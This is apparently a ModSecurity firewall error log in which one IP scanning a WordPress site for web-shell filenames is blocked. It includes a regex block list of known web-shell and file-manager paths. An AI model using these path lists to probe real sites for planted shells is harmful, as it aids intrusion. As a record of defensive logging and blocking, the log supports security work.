[Thu Feb 26 15:46:13.725547 2026] [:error] [pid 25311:tid 25326] [client 20.151.2.242:28549] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aZ_6RdfdM__yZAgJFSsrnwAAAYw"]
[Thu Feb 26 15:46:18.485269 2026] [:error] [pid 25311:tid 25326] [client 20.151.2.242:28550] [client 20.151.2.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.151.2.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZ_6StfdM__yZAgJFSsrrgAAAYw"]
[Thu Feb 26 15:46:33.776392 2026] [:error] [pid 25311:tid 25329] [client 20.151.2.242:28550] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aZ_6WdfdM__yZAgJFSsrzwAAAY8"]
[Thu Feb 26 15:46:34.530559 2026] [:error] [pid 25311:tid 25326] [client 20.151.2.242:28638] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aZ_6WtfdM__yZAgJFSsr0AAAAYw"]
[Thu Feb 26 15:46:35.479275 2026] [:error] [pid 3883:tid 3903] [client 20.151.2.242:28488] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aZ_6W-A33x90V6yYHaiycwAAAVE"]
[Thu Feb 26 15:46:36.387311 2026] [:error] [pid 25311:tid 25336] [client 20.151.2.242:28507] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aZ_6XNfdM__yZAgJFSsr1AAAAZY"]
[Thu Feb 26 15:46:37.692655 2026] [:error] [pid 20419:tid 20426] [client 20.151.2.242:28667] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aZ_6Xe3DVDvMfTYYUBXOhQAAAcQ"]
[Thu Feb 26 15:46:39.254104 2026] [:error] [pid 55122:tid 55142] [client 20.151.2.242:28624] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aZ_6X4LiR0OfjFxvcN_bGwAAANI"]
[Thu Feb 26 15:46:40.732601 2026] [:error] [pid 54990:tid 55016] [client 20.151.2.242:28609] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aZ_6YHtr2qmt_mBhH2zsDQAAABc"]
[Thu Feb 26 15:46:45.328412 2026] [:error] [pid 25311:tid 25330] [client 20.151.2.242:28657] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/default.php"] [unique_id "aZ_6ZdfdM__yZAgJFSsr4gAAAZA"]
[Thu Feb 26 15:46:46.014591 2026] [:error] [pid 25311:tid 25323] [client 20.151.2.242:28607] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aZ_6ZtfdM__yZAgJFSsr4wAAAYk"]
[Thu Feb 26 15:46:47.202843 2026] [:error] [pid 55618:tid 55626] [client 20.151.2.242:28564] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aZ_6Zx61Vrh12f_8oWSi0AAAAQU"]
[Thu Feb 26 15:46:48.685685 2026] [:error] [pid 55122:tid 55125] [client 20.151.2.242:28658] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aZ_6aILiR0OfjFxvcN_bOAAAAME"]
[Thu Feb 26 15:46:49.793936 2026] [:error] [pid 55618:tid 55621] [client 20.151.2.242:28644] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aZ_6aR61Vrh12f_8oWSi1AAAAQA"]
[Thu Feb 26 15:46:51.090982 2026] [:error] [pid 3883:tid 3906] [client 20.151.2.242:28557] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.1.php"] [unique_id "aZ_6a-A33x90V6yYHaiyuAAAAVQ"]
[Thu Feb 26 15:46:51.982445 2026] [:error] [pid 3883:tid 3896] [client 20.151.2.242:28648] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.1.php"] [unique_id "aZ_6a-A33x90V6yYHaiyuQAAAUo"]
[Thu Feb 26 15:46:57.033581 2026] [:error] [pid 3883:tid 3889] [client 20.151.2.242:28480] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.1.php"] [unique_id "aZ_6ceA33x90V6yYHaiyxAAAAUM"]
[Thu Feb 26 15:46:58.185243 2026] [:error] [pid 25311:tid 25336] [client 20.151.2.242:28580] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.1.php"] [unique_id "aZ_6ctfdM__yZAgJFSssFQAAAZY"]
[Thu Feb 26 15:46:59.561488 2026] [:error] [pid 3883:tid 3910] [client 20.151.2.242:28629] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/async.php"] [unique_id "aZ_6c-A33x90V6yYHaiyzQAAAVg"]
[Thu Feb 26 15:47:01.632721 2026] [:error] [pid 55618:tid 55635] [client 20.151.2.242:28650] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/async.php"] [unique_id "aZ_6dR61Vrh12f_8oWSi4AAAAQ4"]
[Thu Feb 26 15:47:05.191138 2026] [:error] [pid 3883:tid 3904] [client 20.151.2.242:28574] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/async.php"] [unique_id "aZ_6eeA33x90V6yYHaiy6AAAAVI"]
[Thu Feb 26 15:47:06.478999 2026] [:error] [pid 55122:tid 55133] [client 20.151.2.242:28560] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/async.php"] [unique_id "aZ_6eoLiR0OfjFxvcN_bQgAAAMk"]
[Thu Feb 26 15:47:07.564806 2026] [:error] [pid 54991:tid 55043] [client 20.151.2.242:28636] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff.php"] [unique_id "aZ_6e94Zx-mJ8gbRB2ifnwAAAFc"]
[Thu Feb 26 15:47:08.634800 2026] [:error] [pid 25311:tid 25322] [client 20.151.2.242:28618] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff.php"] [unique_id "aZ_6fNfdM__yZAgJFSssIAAAAYg"]
[Thu Feb 26 15:47:09.941050 2026] [:error] [pid 55051:tid 55073] [client 20.151.2.242:28555] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff.php"] [unique_id "aZ_6fQmK1w2kZvh5eLH5OwAAAJM"]
[Thu Feb 26 15:47:13.455908 2026] [:error] [pid 20419:tid 20443] [client 20.151.2.242:28663] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff.php"] [unique_id "aZ_6ge3DVDvMfTYYUBXO9AAAAdU"]
[Thu Feb 26 15:47:14.800036 2026] [:error] [pid 25311:tid 25338] [client 20.151.2.242:28481] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aZ_6gtfdM__yZAgJFSssSgAAAZg"]
[Thu Feb 26 15:47:17.047574 2026] [:error] [pid 20419:tid 20436] [client 20.151.2.242:28561] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aZ_6he3DVDvMfTYYUBXO-QAAAc4"]
[Thu Feb 26 15:47:17.950480 2026] [:error] [pid 55618:tid 55645] [client 20.151.2.242:28612] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aZ_6hR61Vrh12f_8oWSi9gAAARg"]
[Thu Feb 26 15:47:20.796031 2026] [:error] [pid 55122:tid 55140] [client 20.151.2.242:28569] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aZ_6iILiR0OfjFxvcN_bTwAAANA"]
[Thu Feb 26 15:47:24.660640 2026] [:error] [pid 54991:tid 55040] [client 20.151.2.242:28592] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aZ_6jN4Zx-mJ8gbRB2ifsAAAAFQ"]
[Thu Feb 26 15:47:26.546513 2026] [:error] [pid 54991:tid 55032] [client 20.151.2.242:28556] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aZ_6jt4Zx-mJ8gbRB2ifsgAAAEw"]
[Thu Feb 26 15:47:27.907431 2026] [:error] [pid 55051:tid 55065] [client 20.151.2.242:28611] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aZ_6jwmK1w2kZvh5eLH5XAAAAIs"]
[Thu Feb 26 15:47:29.790114 2026] [:error] [pid 54991:tid 55041] [client 20.151.2.242:28626] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aZ_6kd4Zx-mJ8gbRB2ifswAAAFU"]
[Thu Feb 26 15:47:38.239437 2026] [:error] [pid 55122:tid 55131] [client 20.151.2.242:28584] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "aZ_6moLiR0OfjFxvcN_baAAAAMc"]
[Thu Feb 26 15:47:47.541115 2026] [:error] [pid 55122:tid 55148] [client 20.151.2.242:28514] [client 20.151.2.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aZ_6o4LiR0OfjFxvcN_bcgAAANg"]
[Thu Feb 26 15:47:55.771765 2026] [:error] [pid 55618:tid 55639] [client 20.151.2.242:28572] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x12.php"] [unique_id "aZ_6qx61Vrh12f_8oWSjRQAAARI"]
[Thu Feb 26 15:47:58.585733 2026] [:error] [pid 55051:tid 55073] [client 20.151.2.242:28659] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x12.php"] [unique_id "aZ_6rgmK1w2kZvh5eLH5cAAAAJM"]
[Thu Feb 26 15:47:59.612383 2026] [:error] [pid 54991:tid 55025] [client 20.151.2.242:28613] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x12.php"] [unique_id "aZ_6r94Zx-mJ8gbRB2ifywAAAEU"]
[Thu Feb 26 15:48:00.724829 2026] [:error] [pid 55051:tid 55063] [client 20.151.2.242:28660] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x12.php"] [unique_id "aZ_6sAmK1w2kZvh5eLH5dAAAAIk"]
[Thu Feb 26 15:48:01.934551 2026] [:error] [pid 54991:tid 55042] [client 20.151.2.242:28632] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/41.php"] [unique_id "aZ_6sd4Zx-mJ8gbRB2ifzAAAAFY"]
[Thu Feb 26 15:48:05.075260 2026] [:error] [pid 55618:tid 55639] [client 20.151.2.242:28492] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/41.php"] [unique_id "aZ_6tR61Vrh12f_8oWSjVQAAARI"]
[Thu Feb 26 15:48:06.371437 2026] [:error] [pid 3883:tid 3899] [client 20.151.2.242:28600] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/41.php"] [unique_id "aZ_6tuA33x90V6yYHaizYgAAAU0"]
[Thu Feb 26 15:48:08.023480 2026] [:error] [pid 25311:tid 25320] [client 20.151.2.242:28633] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/41.php"] [unique_id "aZ_6uNfdM__yZAgJFSssugAAAYY"]
[Thu Feb 26 15:48:09.678530 2026] [:error] [pid 55122:tid 55141] [client 20.151.2.242:28652] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad2.php"] [unique_id "aZ_6uYLiR0OfjFxvcN_begAAANE"]
[Thu Feb 26 15:48:12.184146 2026] [:error] [pid 20419:tid 20438] [client 20.151.2.242:28553] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad2.php"] [unique_id "aZ_6vO3DVDvMfTYYUBXPRgAAAdA"]
[Thu Feb 26 15:48:13.135961 2026] [:error] [pid 25311:tid 25324] [client 20.151.2.242:28577] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad2.php"] [unique_id "aZ_6vdfdM__yZAgJFSsswQAAAYo"]
[Thu Feb 26 15:48:14.119379 2026] [:error] [pid 55122:tid 55129] [client 20.151.2.242:28422] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ad2.php"] [unique_id "aZ_6voLiR0OfjFxvcN_bfQAAAMU"]
[Thu Feb 26 15:48:15.649346 2026] [:error] [pid 20419:tid 20425] [client 20.151.2.242:28539] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8rd1.php"] [unique_id "aZ_6v-3DVDvMfTYYUBXPSgAAAcM"]
[Thu Feb 26 15:48:20.598313 2026] [:error] [pid 55618:tid 55643] [client 20.151.2.242:28570] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8rd1.php"] [unique_id "aZ_6xB61Vrh12f_8oWSjZwAAARY"]
[Thu Feb 26 15:48:22.510516 2026] [:error] [pid 54991:tid 55026] [client 20.151.2.242:28563] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8rd1.php"] [unique_id "aZ_6xt4Zx-mJ8gbRB2if1gAAAEY"]
[Thu Feb 26 15:48:23.870976 2026] [:error] [pid 3883:tid 3898] [client 20.151.2.242:28593] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8rd1.php"] [unique_id "aZ_6x-A33x90V6yYHaiziAAAAUw"]
[Thu Feb 26 15:48:25.523736 2026] [:error] [pid 54990:tid 55006] [client 20.151.2.242:28601] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aZ_6yXtr2qmt_mBhH2zsTwAAAA0"]
[Thu Feb 26 15:48:28.316817 2026] [:error] [pid 54991:tid 55020] [client 20.151.2.242:28585] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aZ_6zN4Zx-mJ8gbRB2if4AAAAEA"]
[Thu Feb 26 15:48:29.816336 2026] [:error] [pid 3883:tid 3905] [client 20.151.2.242:28620] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aZ_6zeA33x90V6yYHaizjgAAAVM"]
[Thu Feb 26 15:48:31.876431 2026] [:error] [pid 54991:tid 55041] [client 20.151.2.242:28520] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aZ_6z94Zx-mJ8gbRB2if6QAAAFU"]
